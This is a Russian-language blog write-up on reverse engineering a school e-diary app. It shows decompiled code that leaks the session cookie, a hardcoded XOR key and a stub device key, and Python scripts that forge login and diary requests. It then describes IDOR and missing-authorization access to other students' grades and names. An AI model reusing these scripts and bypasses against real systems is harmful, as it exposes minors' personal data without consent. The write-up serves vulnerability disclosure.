Данная статья написана исключительно в ознакомительных и образовательных целях. Автор не поощряет взлом информационных систем. Исследование проводилось в рамках личного аккаунта для изучения протоколов передачи данных и автоматизации доступа к собственным персональным данным.Все имена, ссылки, ID изменены/удалены.
Предыстория: зачем?
Все началось с того, что в нашей школе внедрили новый электронный дневник. Дизайн в стиле «привет из 2015-го», медленная загрузка — типичный набор для государственного софта. Глядя на всё это, я подумал: если визуальная часть сделана так лениво, то что же там под капотом?
дизайн приложения
Погружение в .apk
Декомпилировав APK через JADX(я решил сразу заглянуть в код, а не снифить, чтобы не возиться с сертификатами), первым делом отправился искать механизм авторизации. Моё внимание привлек класс ESIAActivity. Как понятно из названия, он отвечает за вход через Госуслуги (ЕСИА) внутри встроенного WebView.
При анализе метода onPageFinished я обнаружил то, что заставило меня улыбнуться. Разработчики оставили в коде отладочный вывод:
@Override public void onPageFinished(WebView webView2, String str) { String str2; String cookie = CookieManager.getInstance().getCookie(str); if (cookie == null) { str2 = ""; } else { str2 = ""; for (String str3 : cookie.split(";")) { String[] strArrSplit = str3.split("="); if (strArrSplit.length > 1 && strArrSplit[0].equals(" X1_SSO")) { str2 = strArrSplit[1]; } } } if (str2.equals("") || ESIAActivity.this.logged) { return; } Log.d("X1_SSO", str2); // ! Очень важно ESIAActivity.this.logged = true; ESIAActivity.this.makeLoginRequest(str2); } }); } public void makeLoginRequest(String str) { ApiService.instance.loginEsia(str, Base64.encodeToString(Crypt.crypt_xor(str.substring(0, str.length() / 2)), 2), new Response.Listener<JSONObject>() { @Override // com.android.volley.Response.Listener public void onResponse(JSONObject jSONObject) { User.setLoginEntity(jSONObject); if (User.getLoginEntity().isSuccess()) { ESIAActivity.this.loginSuccess(User.getLoginEntity().getData()); return; } ToastUtils.show(ESIAActivity.this, "Ошибка! " + User.getLoginEntity().getMessage()); ApplicationData.clearCookies(ESIAActivity.this); ApplicationData.clearCache(ESIAActivity.this.ctx, 2); } }, new Response.ErrorListener() { @Override // com.android.volley.Response.ErrorListener public void onErrorResponse(VolleyError volleyError) { ToastUtils.show(ESIAActivity.this, "Ошибка! Неверный логин или пароль."); }
Log.d("X1_SSO", str2); Cookie X1_SSO, через которую мы входим, логируется в системе! Тут же вызывается функция loginEsia из ApiService
А при анализе класса Crypt я обнаружил забавный момент: в коде присутствуют следы AES-шифрования, но по факту используется обычный XOR. Более того, ключ ru.vendor.schoolapp (название пакета) лежит прямо здесь, метод replaceChars, который должен переставлять символы для запутывания, работает вхолостую, не меняя итоговую строку:
public class Crypt { private static Cipher cipher = null; public static String encryptedGUID = ""; private static SecretKeySpec key = null; private static String transformation = "AES/ECB/PKCS5Padding"; public static byte[] crypt_xor(String str) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < str.length(); i++) { sb.append((char) (str.charAt(i) ^ "ru.vendor.schoolapp".charAt(i % 25))); } return sb.toString().getBytes(); } private static StringBuilder replaceChars(StringBuilder sb, int[] iArr, int i) { StringBuilder sb2 = new StringBuilder(); if (sb.length() < i) { i = sb.length(); } for (int i2 = 0; i2 < i; i2++) { int i3 = iArr[i2]; if (i3 < i) { sb2.append(sb.charAt(i3)); } } return sb2; } public static byte[] hashString(String str) { replaceChars(new StringBuilder(str), new int[]{2, 5, 1, 3, 10, 7, 8, 4, 9, 0, 14, 12, 11, 13, 6, 15}, 16); StringBuilder sb = new StringBuilder(); for (int i = 0; i < str.length(); i++) { sb.append((char) (str.charAt(i) ^ "ru.vendor.schoolapp".charAt(i % 25))); } return sb.toString().getBytes(); } }
API ключ создается так:
Берется первая половина X1_SSO.
Прогоняется через тот самый crypt_xor с ключом ru.vendor.schoolapp
Результат кодируется в Base64.
Получение куки и имитация логина
Я подключил свой телефон к пк, с включенной отладкой по usb, запустил adb logcat -s X1_SSO , перезашёл в свой аккаунт через Госуслуги, так как разработчики забыли убрать отладочный вывод в релизной сборке, сессионная кука просто выплевывалась в консоль. Нашел в resources.arsc строку с api_url: https://mp.example.ru и эндпоинт "login_journals_url" : journals/login Написал скрипт на python, имитирующий логин:
import base64 import requests import json # Данные, которые мы добыли из реверса BASE_URL = "https://mp.example.ru" LOGIN_ENDPOINT = "/journals/login" XOR_KEY = "ru.vendor.mobileschool" def crypt_xor(data_str): """Реализация метода Crypt.crypt_xor из исходников""" sb = "" for i in range(len(data_str)): sb += chr(ord(data_str[i]) ^ ord(XOR_KEY[i % 25])) return sb.encode() def login_with_cookie(x1_sso_cookie): """Имитация метода ESIAActivity.makeLoginRequest""" # 1. Берем половину куки для создания api_key half_sid = x1_sso_cookie[:len(x1_sso_cookie) // 2] # 2. XOR + Base64 encrypted_part = crypt_xor(half_sid) api_key = base64.b64encode(encrypted_part).decode('utf-8') # 3. Формируем JSON-запрос payload = { "sid": x1_sso_cookie, "api_key": api_key } url = BASE_URL + LOGIN_ENDPOINT headers = {'Content-Type': 'application/json'} print(f"--- Отправка запроса ---") print(f"URL: {url}") print(f"Payload: {json.dumps(payload, indent=2)}") response = requests.post(url, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("--- Ответ сервера ---") print(json.dumps(data, indent=2, ensure_ascii=False)) return data else: print(f"Ошибка! Статус: {response.status_code}") print(response.text) return None
После имитации логина сервер возвращает массив данных о пользователе. Самое важное для нас здесь — SYS_GUID (уникальный идентификатор ученика) и SCHOOL_ID. Без них мы не сможем запросить расписание.
У нас уже есть apikey, guid, дату сделать не проблема. У меня ушло достаточно времени на поиск pdakey, я пытался его задать по эндпоинту url_set_pda: https://mp.example.ru/pda/setpdakey, где мне его благополучно не дали. Он также хранится в SharedPreferences, куда я не могу попасть без root доступа на телефоне. Самый смешной момент:
public void checkPda() { if (User.getUser_pda().equals("") && ApplicationData.active_session) { User.setUser_pda("000xpda"); } }
Вишенкой на торте стало то, что если приложение не смогло получить pda из SharedPreferences, оно ставит захардкоженную заглушку 000xpda, так я получил валидный pdakey. Начал писать python скрипт для получения оценок:
import base64 import requests import json XOR_KEY = "ru.vendor.mobileschool" def generate_apikey(source_str): """Генератор ключа по формуле из DiaryFragment""" # Берем половину строки half = source_str[:len(source_str) // 2] res_chars = "".join(chr(ord(c) ^ ord(XOR_KEY[i % 25])) for i, c in enumerate(half)) return base64.b64encode(res_chars.encode('utf-8')).decode('utf-8') def get_my_diary(guid, cookie): url = "https://mp.example.ru/journals/school-day" api_key = generate_apikey(guid) headers = { 'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13)', # маскируемся под приложение на телефоне 'Cookie': f'X1_SSO={cookie}', 'Content-Type': 'application/json', 'X-Requested-With': 'ru.vendor.mobileschool' } payload = { "guid": guid, "date": "2026-02-04", # дата на сегодня "apikey": api_key, "pdakey": "000xpda" # найденная заглушка } print(f"--- Запрос дневника ---") r = requests.post(url, json=payload, headers=headers) if r.status_code == 200: data = r.json() print("ДАННЫЕ ПОЛУЧЕНЫ:") print(json.dumps(data, indent=2, ensure_ascii=False)) return data else: print(f" Ошибка {r.status_code}: {r.text}")
Формула apikey из DiaryFragment: Crypt.encryptedGUID = Base64.encodeToString(Crypt.crypt_xor(User.getUser_sys_guid().substring(0, User.getUser_sys_guid().length() / 2)), 2);
Во время написания этого скрипта сервер часто меня не принимал и перенаправлял на страницу входа. В конце сервер все же сдался, и я получил расписание на сегодня в виде JSON.
Конечный продукт
На основе всего этого я создал телеграм бота, который позволяет получить расписание и оценки:
Обществознание ?? [ПР] ? 13:45 - 14:25 ? Повторительно-обобщающий урок по теме «Человек в экономических отношениях» ? ДЗ: п. 19
География ?? (5) ? 14:35 - 15:15 ? . Контрольная работа по разделу "Природа России". Обобщающее повторение по темам: "Геологическое строение, рельеф и полезные ископаемые", "Климат и климатические ресурсы", "Моря России и внутренние воды" ? ДЗ: нет
Апдейт 1:
Как я стал учителем: найден IDOR
Продолжив исследование, я тыкнул в эндпоинт journals/get-journal с заданным guid журнала, полученным с домашкой. Думал, что сервер даст мне, с правами ученика, по рукам - а он открыл дверь и пригласил войти - мне выдали журнал класса со всеми guid и ФИО.
полученный журнал класса
Далее я постучался в /journals/get-teacher-journals c guid учителя и, бинго, получаю все журналы учителя:
Так, зная guid журналов всех классов,я могу смотреть оценки всей школы без прав учителя
у моего друга 3 двойки за день)
А где авторизация?
Решил проверить теорию: а что будет, если вообще не передавать куку авторизации? Результат? Серверу абсолютно всё равно, кто я. Выяснилось, что защита всей системы держится не на авторизации пользователя, а на статичном 25-символьном XOR-ключе, зашитом в коде приложения. Если ты смог его вычислить (а мы это сделали в первой части), то для системы ты - свой.
Это Broken Access Control (BAC) и IDOR в одном флаконе.BAC, потому что сервер не проверяет роли (ученик может быть учителем).
IDOR, потому что доступ к данным идет через прямой перебор ID (GUID).
No Auth, потому что куки не нужны.
Наверное могу себе пятерок поставить, но это незаконно.
Итоги и выводы
Проведенное исследование API мобильного приложения показало, что безопасность системы строится на концепции «безопасность через неясность», которая в 2026 году уже не является эффективной защитой.
1. Технические итоги
В ходе реверса были выявлены следующие критические недоработки:
Хардкод в продакшене: Наличие заглушек для отладки (вроде pdakey: 000xpda), которые не были вырезаны перед релизом. Это позволило обойти проверку легитимности устройства.
Слабая криптография: Использование XOR с фиксированной солью, зашитой в коде. Любой декомпилятор вскрывает такую защиту за 5 минут.
Мертвый код: Наличие в классе Crypt неиспользуемых переменных для AES-шифрования и функций, работающих вхолостую (replaceChars). Это говорит о низком качестве контроля кода.
Отсутствие привязки сессии: Токен авторизации (X1_SSO) не привязан к «отпечатку» устройства (Fingerprint) или IP-адресу, что позволяет использовать его в сторонних скриптах.
Полный провал авторизации (IDOR/BAC): На стороне бэкенда отсутствует проверка прав доступа. Сервер отдает данные учителей и других учеников любому пользователю, знающему apikey.
Zero-Auth доступ: Обнаружено, что для получения персональных данных и журналов серверу не требуется сессионная кука (X1_SSO). Вся безопасность держится на статичном XOR-ключе, что делает систему уязвимой для автоматизированного сбора данных извне.
2. Практический результат
Создан легковесный Telegram-бот, который работает быстрее официального клиента.
Реализован парсинг вложенных структур JSON.
Найден способ обхода приватности: В ходе тестов подтверждена возможность получения доступа к журналам любого класса и предмета через перебор guid.
Потенциальный Write-Access: Выявлены эндпоинты для записи данных (выставление оценок), которые с высокой долей вероятности имеют те же проблемы с безопасностью, что и методы чтения.
3. Резюме
Этот проект — отличный пример того, как любопытство помогает решать бытовые задачи. Вместо того чтобы мириться с неудобным интерфейсом, я изучил внутрянку системы, перестроил её под себя и даже обнаружил фундаментальные проблемы в безопасности региональной образовательной платформы.